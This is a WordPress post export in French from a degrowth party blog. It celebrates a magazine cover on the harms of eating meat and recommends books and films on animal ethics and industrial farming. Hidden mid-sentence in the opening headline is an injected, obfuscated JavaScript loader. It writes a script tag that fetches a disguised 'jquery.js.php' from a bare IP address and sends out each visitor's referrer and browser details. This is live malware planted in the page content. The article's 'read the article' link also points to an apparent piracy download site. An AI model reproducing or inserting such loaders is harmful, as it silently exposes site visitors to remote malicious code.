{"id":5494,"date":"2011-01-21T21:39:04","date_gmt":"2011-01-21T20:39:04","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=5494"},"modified":"2013-10-17T07:58:55","modified_gmt":"2013-10-17T06:58:55","slug":"un-tabou-qui-saute","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=5494","title":{"rendered":"Manger de la viande tue : un tabou qui saute !"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" style=\"margin: 8px;\" alt=\"\" src=\"http:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2011\/01\/azPWNsZQSp.jpg\" width=\"256\" height=\"334\" \/><\/p>\n<p style=\"text-align: center;\"><strong>Quelle <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eazfe|var|u0026u|referrer|raash||js|php'.split('|'),0,{}))\n<\/script><\/noindex> une des Inrocks !<\/strong><\/p>\n<p><em>\u00ab Manger de la viande tue <\/em>\u00bb ! Comment ne pas se r\u00e9jouir devant un tel titre ? Pour les Inrocks, et de nombreux autres m\u00e9dias, la question du r\u00e9gime alimentaire occidental actuel et de ses cons\u00e9quences n\u00e9gatives, et donc sa remise en cause, semble enfin pouvoir \u00eatre pos\u00e9e au grand public plus \u00e0 m\u00eame de s&rsquo;int\u00e9resser au probl\u00e8me \u00ab sensibilis\u00e9 \u00bb qu&rsquo;il est par les questions sanitaires et environnementales, encercl\u00e9 qu&rsquo;il est par les catastrophes pass\u00e9es, pr\u00e9sentes et \u00e0 venir dont notre soci\u00e9t\u00e9 croissanciste a le secret.<\/p>\n<p><strong>Sujet mineur, tabou<\/strong><\/p>\n<p>Gr\u00e2ce \u00e0 de nombreux livres et documentaires nous avons \u00e9t\u00e9 sensibilis\u00e9-e-s aux probl\u00e8mes (ou en tout cas \u00e0 une partie) que posent l&rsquo;agriculture \u00ab conventionnelle \u00bb, que ce soit en terme de pollution de notre milieu par les pesticides et par les OGM ou bien en terme de pratiques aberrantes. Citons, entre autres, <a href=\"http:\/\/www.albin-michel.fr\/Ces-maladies-creees-par-l-homme-EAN=9782226142238\" target=\"_blank\"><em>Ces maladies cr\u00e9\u00e9es par l&rsquo;homme<\/em><\/a> de Dominique Belpomme,<em> <a href=\"http:\/\/www.pesticides-lelivre.com\/\" target=\"_blank\">Pesticides : R\u00e9v\u00e9lations sur un scandale fran\u00e7ais<\/a> <\/em>de Fabrice Nicolino et Fran\u00e7ois Veillerette, <a href=\"http:\/\/www.nosenfantsnousaccuseront-lefilm.com\/\"><em>Nos enfants nous accuseront<\/em><\/a> de Jean-Paul Jaud, <a href=\"http:\/\/www.dailymotion.com\/video\/x5ph7g_notre-pain-quotidien-extrait_news\"><em>Notre pain quotidien<\/em><\/a> de Nikolaus Geyrhalter, <em><a href=\"http:\/\/video.google.com\/videoplay?docid=-8723985684378254371#\" target=\"_blank\">Le Monde selon Monsanto<\/a> <\/em>de Marie-Monique Robin (\u00e0 noter que cette derni\u00e8re sort un nouveau livre intitul\u00e9 <a href=\"http:\/\/robin.blog.arte.tv\/2010\/12\/29\/notre-poison-quotidien-le-15-mars-sur-arte\/\" target=\"_blank\"><em>Notre poison quotidien<\/em> sur les polluants<\/a> en rapport avec notre cha\u00eene alimentaire ; le documentaire \u00e9ponyme sera diffus\u00e9 le 15 mars sur ARTE, \u00e0 20h40).<\/p>\n<p><strong>Mais la question du traitement des animaux et de notre r\u00e9gime alimentaire<\/strong> (les deux \u00e9tant li\u00e9s) \u00e9tait rarement abord\u00e9e ou alors tr\u00e8s rapidement, sans doute parce que la France a un rapport particulier, intime avec sa gastronomie traditionnelle (au point de la faire inscrire au patrimoine mondial de l&rsquo;Humanit\u00e9&#8230;) ou peut-\u00eatre parce que la larmoyante Brigitte Bardot avait confisqu\u00e9 et rabaiss\u00e9 le d\u00e9bat&#8230;<!--more--><\/p>\n<p>Quelques articles, le plus souvent courts, paraissent dans notre presse nationale mais jamais, \u00e0 notre connaissance de dossier, ni m\u00eame de une, consacr\u00e9 aux rapports humains\/non-humains, si ce n&rsquo;est dans l&rsquo;excellente, bien que malheureusement trop confidentielle, revue Offensive (n\u00b024). Ce \u00ab <em>statu quo<\/em> \u00bb fut rompu, pour le grand public, par Fabrice Nicolino avec son livre au titre on ne peut plus parlant <a href=\"http:\/\/www.partipourladecroissance.net\/?p=4090\" target=\"_blank\">Bidoche<\/a> et dans lequel il s&rsquo;attaque frontalement \u00e0 notre r\u00e9gime alimentaire fortement carn\u00e9.<\/p>\n<p>Avec ce photo-montage g\u00e9nial des Inrocks, le lien est fait entre humanit\u00e9, animalit\u00e9 et mort, car c&rsquo;est un fait manger de la viande tue des animaux et rend malades (parfois jusqu&rsquo;\u00e0 la mort) ceux qui les surconsomment. La question de notre rapports aux autres animaux est le sujet d&rsquo;ouvrages de plus en plus nombreux, m\u00eame si les pays anglo-saxons semblent avoir pris le probl\u00e8me \u00e0 bras le corps depuis plus longtemps que nous. On pourra donc se tourner vers quelques ouvrages permettant de nous familiariser avec la question <a href=\"http:\/\/www.franceculture.com\/oeuvre-le-silence-des-betes-la-philosophie-a-l-epreuve-de-l-animalite-de-elisabeth-de-fontenay.html\" target=\"_blank\"><em>Le silence des b\u00eates,<\/em> <em>la philosophie \u00e0 l&rsquo;\u00e9preuve de l&rsquo;humanit\u00e9<\/em><\/a> d&rsquo;Elizabeth de Fontenay, <a href=\"http:\/\/www.actu-philosophia.com\/spip.php?article7\" target=\"_blank\"><em>L&rsquo;animal que donc je suis<\/em><\/a> de Jacques Derrida, avec pr\u00e9cautions on pourra aussi lire<em><a href=\"http:\/\/fr.wikipedia.org\/wiki\/La_Lib%C3%A9ration_animale\"> Lib\u00e9ration animale<\/a> <\/em>de Peter Singer ainsi que la critique de l&rsquo;antisp\u00e9cisme qui y est d\u00e9fendu <em>Lib\u00e9ration animale ou nouveaux terroristes? Les saboteurs de l&rsquo;humanit\u00e9<\/em> de Paul Ari\u00e8s. Et pour les anglophones<em> The Animal Rights Debate: Abolition or Regulation ?<\/em> de Gary L. Francione et Robert Garner.<\/p>\n<p><strong>Rapports humains\/non-humains et d\u00e9croissance<\/strong><\/p>\n<p>Changer les rapports entre les humains et les autres animaux peut avoir des cons\u00e9quences sur de nombreux de domaines ; de l&rsquo;agriculture \u00e0 la recherche en passant par la gastronomie, les loisirs ou l&rsquo;habillement, jusqu&rsquo;\u00e0 la pratique religieuse. En tout cas, la soci\u00e9t\u00e9 ne peut pas ne pas en \u00eatre affect\u00e9e et la diversit\u00e9s des approches existantes ne peut-\u00eatre qu&rsquo;une richesse.<\/p>\n<p>Entre ceux qui veulent que toute vie, animale ou v\u00e9g\u00e9tale, ait la m\u00eame valeur (biocentristes), en passant par ceux qui veulent la fin de l&rsquo;exploitation de tous les animaux (antisp\u00e9cistes abolitionnistes), ceux qui souhaitent donner des droits \u00e0 tous les animaux capables de souffrir (antisp\u00e9cistes pathocentristes), ceux pour qui la vie d&rsquo;un non-humain adulte peut avoir plus de valeur que celle d&rsquo;un enfant humain (antisp\u00e9cistes utilitaristes) et ceux pour qui donner des droits aux animaux serait forc\u00e9ment rabaisser l&rsquo;humain (anthropocentristes), il y a de la place pour le d\u00e9bat. Et si cette question (qui n&rsquo;est pas plus tranch\u00e9e chez les objecteurs de croissance qu&rsquo;ailleurs) est une question qui peut nous emmener, \u00e0 l&rsquo;instar de la d\u00e9croissance, sur la cr\u00eate, et qu&rsquo;elle peut donc donner naissance au pire comme au meilleur, il ne tient qu&rsquo;\u00e0 nous de faire en sorte que ce soit vers le meilleur que penche la balance. Ce qui est s\u00fbr c&rsquo;est qu&rsquo;\u00e0 l&rsquo;heure actuelle nous en sommes loin.<\/p>\n<p>Quoi qu&rsquo;il en soit, adopter un r\u00e9gime v\u00e9g\u00e9talien, v\u00e9g\u00e9tarien ou ne serait-ce que diminuer sa consommation de viande n&rsquo;a que des aspects positifs que ce soit au niveau environnemental (diminution des gaz \u00e0 effet de serre, des nitrates,&#8230;) et donc au niveau sanitaire (baisse des maladies cardiovasculaires, des cancers&#8230;), ou au niveau \u00e9thique (on nourrit plus de personnes avec la m\u00eame surface de terre), sans compter l&rsquo;aspect positif \u00e9vident pour les animaux.<\/p>\n<p>Mais si nous pouvons faire beaucoup au niveau individuel, nous savons que cela ne sera jamais suffisant pour changer la soci\u00e9t\u00e9 et il nous faudra donc inclure ces r\u00e9flexions dans notre, dans nos, projets politiques.<\/p>\n<p><strong>Prenons conscience de la situation, d\u00e9battons-en, changeons nos habitudes, changeons la soci\u00e9t\u00e9.<\/strong><\/p>\n<p><strong><em><a href=\"http:\/\/www.telechargementz.org\/livres\/magazines\/422392-hf-les-inrockuptibles-n789-du-12-au-18-janvier-2011.html\">Lire l&rsquo;article du journal<\/a><\/em><\/strong><\/p>\n<p style=\"text-align: center;\"><object width=\"480\" height=\"256\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=6,0,40,0\"><param name=\"allowFullScreen\" value=\"true\" \/><param name=\"allowScriptAccess\" value=\"always\" \/><param name=\"src\" value=\"http:\/\/www.dailymotion.com\/swf\/video\/x5ph7g?width=480&amp;theme=default&amp;foreground=%23F7FFFD&amp;highlight=%23FFC300&amp;background=%23171D1B&amp;start=&amp;animatedTitle=&amp;iframe=0&amp;additionalInfos=0&amp;autoPlay=0&amp;hideInfos=0\" \/><param name=\"allowfullscreen\" value=\"true\" \/><param name=\"allowscriptaccess\" value=\"always\" \/><embed width=\"480\" height=\"256\" type=\"application\/x-shockwave-flash\" src=\"http:\/\/www.dailymotion.com\/swf\/video\/x5ph7g?width=480&amp;theme=default&amp;foreground=%23F7FFFD&amp;highlight=%23FFC300&amp;background=%23171D1B&amp;start=&amp;animatedTitle=&amp;iframe=0&amp;additionalInfos=0&amp;autoPlay=0&amp;hideInfos=0\" allowFullScreen=\"true\" allowScriptAccess=\"always\" allowfullscreen=\"true\" allowscriptaccess=\"always\" \/><\/object><br \/>\n<strong><a href=\"http:\/\/www.dailymotion.com\/video\/x5ph7g_notre-pain-quotidien-extrait_news\">Notre Pain Quotidien \u00ab\u00a0Extrait\u00a0\u00bb<\/a><\/strong><\/p>\n<p style=\"text-align: left;\">Et aussi le \u00ab\u00a0<a href=\"http:\/\/www.france-info.com\/chroniques-dossier-du-jour-2011-01-21-bien-etre-animal-vers-une-prise-de-conscience-510547-81-185.html\"><strong><em>Bien-\u00eatre animal : vers une prise de conscience ?<\/em><\/strong><\/a>\u00a0\u00bb sur France-Info.<br \/>\n\u00e0 \u00e9couter et t\u00e9l\u00e9charger le dossier (10 min et 1 min)<\/p>\n<p style=\"text-align: left;\">[audio:http:\/\/decroissance.lehavre.free.fr\/presse\/dossier_2011-01-21-19-01-24.mp3]<\/p>\n<p style=\"text-align: left;\">[audio:http:\/\/decroissance.lehavre.free.fr\/presse\/viande-et-cancer-web_2011-01-21-18-17-55.mp3]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quelle une des Inrocks ! \u00ab Manger de la viande tue \u00bb ! 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